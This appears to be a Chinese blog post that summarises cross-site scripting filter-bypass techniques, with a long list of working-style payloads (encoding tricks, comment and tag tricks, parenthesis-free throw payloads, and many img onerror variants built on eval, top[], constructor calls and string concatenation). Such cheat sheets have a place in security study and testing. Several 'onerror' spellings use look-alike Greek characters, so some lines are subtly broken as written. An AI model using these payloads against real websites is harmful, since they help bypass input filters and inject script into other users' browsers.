XSS绕过方法总结

htmlspecialchars():将预定义字符转为实体编码
  • " < > & ' 等字符转为文本型实体编码
常用的xss注入方法
  • <img>标签
  • <a>标签
  • <input>标签
  • 事件触发

    • onmouseover
    • onclick
    • onfocus等
XSS寻找和绕过
  • 找信息交互处;输入信息看回显和页面源码;找输入信息是否存在(判断xss是否存在)
    • 搜索框;留言板等
  • 根据源码分析xss绕过方法

    • 引号闭合
    • 标签闭合
    • 大小写绕过
    • 双写绕过
    • &截断 /#截断
    • %09 %0a %0d / 绕过(针对关键字/空格过滤)
    • ng-include外包文件绕过(DOM中)
      • 引入文件作为当前节点的子节点
    • bp抓包绕过(针对前端限制或隐藏标签)
    • 编码绕过

      • url编码

        • 可以二次url编码;针对%可以一直编码为%25,不断叠加
        • 如w编码是%77;二次编码就是%2577
      • html实体编码

        • 文本型
        • 十进制
        • 十六进制
      • js编码(unicode编码)
    • 注释符绕过
      • html注释有两种

        • <!-- -->
        • <!-- --!>
        • -->可以表示单行注释
    • 古英文符号绕过
      • ſ :表示s的另一种写法;转为大写是S
    • 不完整标签绕过
      • <img src οnerrοr="alert(1)"
    • </style > :中间加空格不影响标签效果
    • 针对url过滤时

      • url编码
      • 使用ip绕过

        • ip十进制
        • ip八进制
        • ip十六进制
        • 使用//代替http://(也可以使用\代替)
      • 使用中文的标点符号代替英文符号进行绕过
        • <img src="x" οnerrοr="document.location=``http://www。baidu。com``">
    • 括号过滤()

      • throw绕过
        • <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
      • 反引号代替`(esc下面的键)
      • 编码绕过
    • 函数(重点)

      • 字符串拼接函数(用法都一样)

        • eval
          • <img src="x" οnerrοr="eval('al'+'ert(1)')">
        • top
          • <img src="x" οnerrοr="top['al'+'ert'](1)">
        • window
        • self
        • parent
        • frames
      • 常用函数

        • <img src="x" οnerrοr="eval(alert(1))">
        • <img src="x" οnerrοr="open(alert(1))">
        • <img src="x" οnerrοr="document.write(alert(1))">
        • <img src="x" οnerrοr="setTimeout(alert(1))">
        • <img src="x" οnerrοr="setInterval(alert(1))">
        • <img src="x" οnerrοr="Set.constructor(alert(1))">
        • <img src="x" οnerrοr="Map.constructor(alert(1))">
        • <img src="x" οnerrοr="Array.constructor(alert(1))">
        • <img src="x" οnerrοr="WeakSet.constructor(alert(1))">
        • <img src="x" οnerrοr="constructor.constructor(alert(1))">
        • <img src="x" οnerrοr="[1].map(alert(1))">
        • <img src="x" οnerrοr="[1].find(alert(1))">
        • <img src="x" οnerrοr="[1].every(alert(1))">
        • <img src="x" οnerrοr="[1].filter(alert(1))">
        • <img src="x" οnerrοr="[1].forEach(alert(1))">
        • <img src="x" οnerrοr="[1].findIndex(alert(1))">
      • 赋值拼接

        • <img src οnerrοr==alert,(1)>
        • <img src x=al y=ert οnerrοr=top[x+y](1)>
        • <img src οnerrοr=top[a='al',b='ev',b+a]('alert(1)')>
        • <img src οnerrοr=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
相关推荐
伊步沁心几秒前
深入 useEffect:为什么 cleanup 总比 setup 先跑?顺手手写节流防抖 Hook
前端
小J听不清5 分钟前
CSS 字体样式全解析:字体类型 / 大小 / 粗细 / 样式
前端·javascript·css·html·css3
500佰6 分钟前
pencil on claude 让设计师和程序员少吵架的一种可能
前端
Jane-lan10 分钟前
NVM安装以及可能的坑
前端·node·nvm
幽络源小助理13 分钟前
Typecho大前端新闻博客主题源码下载:资讯门户风格模板安装教程 | 幽络源
前端
简离23 分钟前
Git 一次性清理已跟踪但应忽略文件
前端·git
清水寺小和尚23 分钟前
# 告别魔法:带你彻底搞透 Agent Loop、Skills、Teams 与 MCP 协议
前端
小蜜蜂dry28 分钟前
nestjs学习 - 管道(pipe)
前端·nestjs
梦鱼30 分钟前
🖥️ 告别 Electron 托盘图标模糊:一套精准的 PNG 生成方案
前端·electron
张元清31 分钟前
React Hooks 性能优化:如何避免不必要的重新渲染
前端·javascript·面试